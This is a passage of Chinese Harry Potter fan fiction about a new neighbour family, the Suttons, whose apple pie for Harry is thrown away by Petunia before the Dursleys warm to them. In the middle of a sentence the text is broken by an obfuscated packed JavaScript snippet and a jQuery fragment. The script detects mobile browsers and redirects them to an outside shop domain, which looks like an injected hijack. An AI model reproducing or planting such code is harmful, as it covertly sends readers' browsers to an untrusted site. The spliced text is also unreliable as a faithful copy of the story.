到了中午，女贞路六号门前终于清静下来。早上还占满草坪的纸箱和家具，这会儿已经一个不剩地被搬进了屋。卡车开走了，只在路边留下两道浅浅的车轮印，这使德思礼太太颇为不满——尽管那两道印子不在她家的草坪上，她没有任何理由操心。
新邻居家的小女儿也终于不见了。佩妮最后一次看到她时，那孩子正被母亲从草坪边叫回去，脸上还带着那道灰印，手里攥着一只不知道死活的甲虫。佩妮于是暂时得出结论：六号的萨顿夫妇看着还过得去，至于他们养孩子的本事，则显然还有待观察。
萨顿家的厨房里，海伦·萨顿对此一无所知。
她刚刚找到了装茶杯的箱子，却还没有找到茶匙；找到了糖罐，却不知道茶叶被大卫塞到了哪里；至于烤箱，倒是从头到尾都在它应该在的地方，因此很快成为了这间屋子里最可靠的东西。
“我们是不是应该去跟邻居打个招呼？”海伦一边把苹果切片，一边问。
大卫正蹲在厨房水槽下面检查一根发出可疑滴水声的管子。他头也没抬，只说：“我上午已经和八号那位先生打过招呼了。”
“你对他说了什么？”
“早上好。”
海伦停下切苹果的动作，看了丈夫一眼。“真热情。”
“他也说了早上好。”
“恭喜你，看起来你们的关系发展得很顺利。”
坐在桌边的马修笑了一声。丽贝卡却正趴在另一边，把一只螺丝钉放在桌上滚来滚去，对成年人的邻里关系并不怎么感兴趣。
“为什么一定要送东西？”小女孩问。
“因为我们刚搬来。”海伦说。
“我知道。可为什么搬家就要送东西？”
“因为这样比较有礼貌。”
“为什么？”
马修把脸埋进手里，“她又开始了。”
海伦显然早已习惯：“因为我们要在这里住很久，认识一下邻居不是坏事。况且，带着苹果派去说‘你好’，通常比空着手去更讨人喜欢。”
丽贝卡考虑了一会儿，似乎觉得这个解释勉强说得过去：“那为什么是苹果派？”
“因为我会做。”
这个答案显然无可反驳。
一个小时以后，苹果派出炉了。海伦把其中一个稍小些的放进白色陶瓷烤盘里，又在外面包了一块干净的格子布，准备晚些时候给隔壁送过去。
丽贝卡在厨房门口探进半个脑袋，自告奋勇：“我去。”
海伦抬眼看她。那个上午还灰头土脸的小姑娘已经被赶去洗过澡，脸总算恢复了本来的颜色，栗色头发也重新梳过，只是有一小撮仍旧固执地翘在耳朵旁边。
“慢一点。”海伦把烤盘递给她，“这是给他们一家人的，不是让你路上偷吃的。”
“我为什么会偷吃？”小女孩瘪瘪嘴，不服气地问。
马修的声音从客厅里传来：“因为上次饼干少了三块。”
“那不是我。”
“当然，是饼干自己长出腿逃走了。”
丽贝卡抱紧苹果派，决定暂时不和他计较。她出了门，沿着只有几步远的小路走到四号，认真看了一遍门牌，确认自己没有把新邻居礼物送给错误的人家，然后按响门铃。
过了好一会儿，门才开了。
开门的是上午那个瘦瘦的黑发男孩。
丽贝卡见过他——搬家的时候，她曾注意到他在四号前院干活。他穿着一件明显大了不少的旧T恤，头发乱得像是跟梳子打了一架。现在离得近了，她又发现他的圆眼镜有些旧，鼻梁上还贴着一小块胶布。
哈利也认出了她。
这是那个把泥抹到自己脸上的女孩。
两个人互相看了几秒，都像是在等对方先说明自己为什么站在这里。
“你好。”丽贝卡终于说。
“你好。”哈利友好地咧开嘴笑了笑。
她把烤盘往前递了递。“这个给你。”
哈利低头看着苹果派，没有立刻接。
“给我的？”他问道，声音里有一点很轻的迟疑，仿佛这件事本身就不太说得通。
丽贝卡愣了一下：“我们刚搬来，我妈妈说应该给邻居送点东西。”
哈利的神色变得自然起来，刚才那一点几乎要冒出来的喜悦很快消失了——这并不是哪个陌生女孩特意送给哈利·波特的苹果派，只不过是六号送给四号的一份邻居礼物。
他这才伸手接过烤盘。
“谢谢。”
丽贝卡并没有发现这其中有什么区别，只补充道：“烤盘以后要还。”
“好。”
“我叫丽贝卡·萨顿。”她说。
“哈利·波特。”
丽贝卡点点头。这个名字在她听来和“哈利·史密斯”或者“哈利·布朗”没有什么分别，因此她只是记住了它，转身回家了。
哈利关上门，低头闻了一下苹果派。
味道很好。
他刚准备把它拿进厨房，佩妮姨妈便出现了。
“那是什么？”
“隔壁送来的。”
“我看得出来那是吃的。”佩妮快步走过来，“谁送来的？”
“那个女孩。”
佩妮接过烤盘，掀开格子布看了一眼。苹果派表面烤成了很好看的金褐色，边缘整齐，闻起来有黄油和肉桂的香气；如果它来自任何一个已经被佩妮确认过身份的正常家庭，她大概会认为这是一份十分得体的邻里礼物。
但问题就在这里。
他们还没有确认萨顿一家是否正常。
“你吃了吗？”佩妮问。
“没有。”
“很好。”
哈利看着她。“为什么这么问？”
佩妮的嘴唇立刻抿紧了。“我们连他们是什么人都不知道。谁知道他们家厨房干不干净？”
她显然忘了自己上午已经花了相当长的时间研究六号的窗户、家具和家庭成员，却仍然不知道他们家的厨房是什么样。对德思礼太太来说，这并不矛盾；观察邻居和信任邻居完全是两回事。
“可是——”
“没有可是。”
她端着苹果派走进厨房。哈利站在门口，看着那只烤盘被放到料理台最里面，心想也许等姨妈忘了以后，自己还能弄到一小块。
可惜他没有。
晚饭前，佩妮已经把整只派倒进了垃圾桶。
她没有把烤盘一起扔掉，当然。一个白色陶瓷烤盘看起来质量不错，在洗干净以后完全可以还给邻居；至于里面装过的东西，则没有必要冒险。
第二天早晨，丽贝卡发现了这件事。
准确地说，她先发现了那只垃圾桶。
她正推着自行车从四号门前经过，车链不知道为什么老是发出轻微的咔嗒声，这使她非常不满意。大卫答应晚上替她看看，但她认为在晚上到来以前，自己完全可以先找出原因。
因此，当她蹲在路边研究后轮时，哈利正好提着垃圾袋从屋里出来。
两个人看见了对方。
丽贝卡想起昨天那个不怎么会说话的男孩，觉得按照邻居礼节也许应该打声招呼，于是站起来：“早上——”
哈利掀开垃圾桶盖。
垃圾袋掉进去时，最上面那张旧报纸滑到一边，露出了底下那只几乎完整的苹果派。
丽贝卡的话停住了。
她认得那圈被海伦捏成叶子形状的酥皮边。事实上，她昨天还因为想帮忙捏一个，被母亲评价为“更像一只受伤的海星”。
哈利也看见了。
事情顿时变得不太妙。
丽贝卡走近垃圾桶，看了两秒，然后转头看他。“你们把它扔了？”
哈利立刻说：“不是我扔的。”
丽贝卡看了看垃圾桶，又看向他。“可昨天明明是你拿进去的。”
“我知道。”
“那为什么会在这里？”
哈利低头盯着自己的鞋尖，沉默了一会儿。
“我很抱歉，”他说，“但是……不是我扔的。”
丽贝卡皱起眉。“那是谁？”
哈利没有回答。
“你知道是谁，对不对？”
他迟疑了一下，点了点头。
“那为什么不能告诉我？”
哈利抿了抿嘴。
“我只是……不想说。”
丽贝卡显然不能理解这个答案。在她看来，一件事情既然有原因，把原因说出来自然是最简单的办法。
“可是我妈妈做了很久。”
“我知道。”哈利小声说。
“她是特意送给你们的。”
“我知道。”哈利的声音很低。他低头看着自己的鞋，似乎突然对鞋尖沾着的那点泥产生了很大的兴趣。
他越是这样，丽贝卡反而越生气。
“那你至少可以告诉我为什么。”
哈利终于抬起头。
“我已经说了，我很抱歉。”
丽贝卡皱着眉。她不喜欢别人回答问题时绕开最重要的部分，这种感觉跟自行车链条明明在响，却有人告诉她“反正还能骑”差不多令人烦躁。
她昨天第一次见到这个人，还特意把妈妈刚烤好的苹果派送了过来；今天早上，它却躺在垃圾桶里，而对方唯一愿意给她的解释是“不是我”。
“算了。”丽贝卡抿起嘴，“早知道就不给你们了。”
哈利抬起头，像是想说什么。
“对不起。”他最后只说。
丽贝卡看了他一眼。
哈利的耳朵有些红，眼睛却一直避开她。要是她再大几岁，也许会发现他看起来不像一个做了坏事还死不承认的人，倒更像一个正在为别人的行为感到难堪的人。
可丽贝卡那时只有八岁。
八岁的丽贝卡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872132|212317||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只知道，妈妈花了一下午烤出来的苹果派现在正躺在垃圾桶里，而站在她面前的男孩知道原因，却偏偏不肯告诉她。
“我还是生气。”她说。
哈利点点头。
这反而让她有些没想到。“你为什么不说点什么？”
哈利迟疑了一下。
“因为你有理由生气。”
丽贝卡一时不知道该怎么接。
她扶起倒在一旁的自行车，跨上去以前又回头看了一眼垃圾桶。
“盘子呢？”
哈利愣了愣。“什么？”
“我妈妈的盘子。”
“姨妈洗了。”
“哦。”丽贝卡想了想，又很严肃地补充：“那个不能扔。”
“不会的。”哈利说。
这一次她骑走了。
哈利一直站在原地，看着那辆蓝色自行车拐进六号的车道，才慢吞吞地把垃圾桶盖重新盖上。
他觉得自己应该再解释点什么，可他想不出一种既能解释苹果派，又不需要解释德思礼一家的说法。
于是到了最后，他什么也没说。
丽贝卡还在为那只被扔掉的苹果派生气时，德思礼夫妇却已经有了新的事情需要操心——他们开始发现，隔壁那一家也许比原先想象中体面得多。
这件事首先发生在德思礼先生下班回家的时候。
弗农把车开进车道，正准备关上车门，六号的男主人恰好从隔壁出来。他换了一件干净的衬衫，袖口挽到手肘，手里拿着一把螺丝刀。
“下午好。”大卫说。
弗农点点头。“下午好。”
两个人沉默了一会儿。
英国男人在第一次见面时通常并不需要太多话题。天气可以支撑前三十秒，汽车能够再撑一分钟，如果运气不错，工作这个话题还能让他们再聊上一会儿，直到双方都觉得这场寒暄已经足够体面。
“搬家还顺利？”弗农问。
“差不多。”大卫说，“水槽漏水，楼梯有一块木板会响，车库门得重新调。不过至少房子还站着。”
弗农发出一声表示赞同的鼻音。“自己修？”
“能修的就自己修。”
这句话让弗农稍微多看了他一眼。
“做哪一行？”弗农递给他一根香烟，被大卫礼貌地拒绝了。
“机械工程。”大卫说，“工业设备设计，主要是泵和传动系统。公司把我调到这边的项目组，所以我们才搬来。”
弗农的眉毛抬了起来。
机械工程。
工业设备。
泵。
传动系统。
——这些都是非常令人放心的词。它们听起来结实、沉重，而且绝不可能和水晶球、占卜或者任何穿着五颜六色斗篷的怪人有关。
“机械工程？”弗农的语气立刻热络了一些，“我在格朗宁公司。我们做钻机。”
“格朗宁？”大卫点点头，“我知道。我们以前有个客户用过你们的设备。”
这下可不得了。
五分钟以后，弗农已经站到了两家之间的车道上，和一个昨天还属于“身份可疑的新邻居”的男人认真讨论起工业轴承。十分钟内，他整整笑了两次，其中一次并不是因为达力。
等他进屋时，佩妮立刻看出了异常。
“怎么了？”
弗农紫红色的大脸因为喜悦看起来更红了，他快活地说：“隔壁的萨顿，是一名机械工程师。”
佩妮的眼睛亮了一点。
“真的？”她迅速重新整理了自己对六号的判断，“他太太呢？”
这个问题的答案来得也很快。
当天傍晚，佩妮在前院收衣服时，正好碰见八号的克拉克太太。克拉克太太已经在女贞路住了十一年，掌握附近大部分家庭的职业、孩子成绩和婚姻状况，并且认为这些消息只有在告诉别人以后才算真正有用。
“萨顿太太在图书馆工作。”她说，“听说已经联系好小惠金区那边的公共图书馆了。人挺和气。”
图书馆。
佩妮若有所思地点了点头。
工程师丈夫，图书馆工作的妻子，两个孩子，一辆保养得不错的汽车，而且没有任何人染绿色头发。
至于丽贝卡脸上的泥，现在看来也许只是孩子贪玩。毕竟，一个家庭是否体面，显然不能仅仅根据八岁女孩洗脸的积极性来判断——尤其在得知她父亲是机械工程师以后。
晚上，佩妮对弗农说：“我们或许应该正式去拜访一下。”
弗农点头应允。
两个人默契地没有提垃圾桶里的苹果派。
第二天下午，佩妮换了一条干净的裙子，弗农穿上了周末见客时才会穿的那件夹克。他们带了一盒从商店买来的黄油饼干，包装十分体面，而且最重要的是，生产厂家清清楚楚印在盒子背面，因此完全不存在厨房是否干净的问题。